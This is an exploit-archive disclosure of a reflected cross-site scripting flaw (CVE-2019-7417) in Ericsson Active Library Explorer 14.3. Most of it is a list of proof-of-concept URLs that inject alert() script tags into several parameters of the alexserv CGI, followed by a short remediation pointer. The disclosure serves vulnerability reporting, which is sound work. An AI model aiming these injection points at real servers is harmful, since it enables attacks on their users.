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Ericsson Active Library Explorer (ALEX) 14.3 Cross Site Scripting

Ericsson Active Library Explorer (ALEX) 14.3 Cross Site Scripting
Posted Feb 8, 2019
Authored by Rafael Pedrero

Ericsson Active Library Explorer (ALEX) version 14.3 suffers from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2019-7417
MD5 | be90b6131177b2b6605b05cead5c01d2

Ericsson Active Library Explorer (ALEX) 14.3 Cross Site Scripting

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<!--
# Exploit Title: Cross Site Scripting in Ericsson Active Library Explorer
Server Version 14.3
# Date: 23-01-2019
# Exploit Author: Rafael Pedrero
# Vendor Homepage: http://www.ericsson.com
# Software Link: http://www.ericsson.com
# Version: Ericsson Active Library Explorer Server Version 14.3
# Tested on: all
# CVE : CVE-2019-7417
# Category: webapps

1. Description

XSS exists in Ericsson Active Library Explorer (ALEX) 14.3 in multiple
parameters in the "/cgi-bin/alexserv" servlet, as demonstrated by the DB,
FN, fn, or id parameter.

Active Library Explorer (ALEX) is server-based software that enables users
to browse Ericsson document libraries and documents with a standard web
browser. It consists of the following two parts, which are typically used
in two different web browser windows:

Library View a this part contains functions for accessing libraries
within a folder structure. For example, it is possible to search for
libraries, download libraries, or compare library variants. It is also
possible to start a search for documents in several libraries at the same
time.
Document View a this part contains functions for accessing documents
inside a library. For example, it is possible to search for documents or
within documents in individual libraries, and to print or bookmark
documents.


2. Proof of Concept

URL

http://X.X.X.X/cgi-bin/alexserv?ID=23034&DB=BSP_R8.1-LZN7800023_R8B.alx&fn=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E


Parameter
fn=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?id=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E


Parameter
id=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?VR=R18D&id=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E&fn=docno_metadata.txt


Parameter
id=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?VR=R18D&id=23034&fn=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E


Parameter
fn=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?ID=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E&FN=hlex_help.html


Parameter
ID=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?ID=3020&FN=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E


Parameter
FN=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?ac=LINK&id=23034&DB=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E&FN=alex.html


Parameter
DB=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?ac=LINK&id=23034&DB=BSP_R8.1-LZN7800023_R8B.alx&FN=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E


Parameter
FN=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?ID=23034&DB=BSP_R8.1-LZN7800023_R8B.alx&FN=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E


Parameter
FN=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?ID=23034&DB=BSP_R8.1-LZN7800023_R8B.alx&ac=image&fn=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E


Parameter
fn=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?VR=R18D&DB=alex_help.ahx&FN=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E&CH=LibraryBrowser


Parameter
FN=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?ID=23034&DB=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E&FN=12446-2885Uen.E.html


Parameter
DB=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?ID=23034&DB=BSP_R8.1-LZN7800023_R8B.alx&AC=image&FN=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E


Parameter
FN=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?VR=R18D&DB=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E&FN=help.html&CH=LibraryBrowser


Parameter
DB=<SCRIPT>alert("XSS");</SCRIPT>


3. Solution:

Update to last version this product.
Patch:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#XSS_Prevention_Rules


-->


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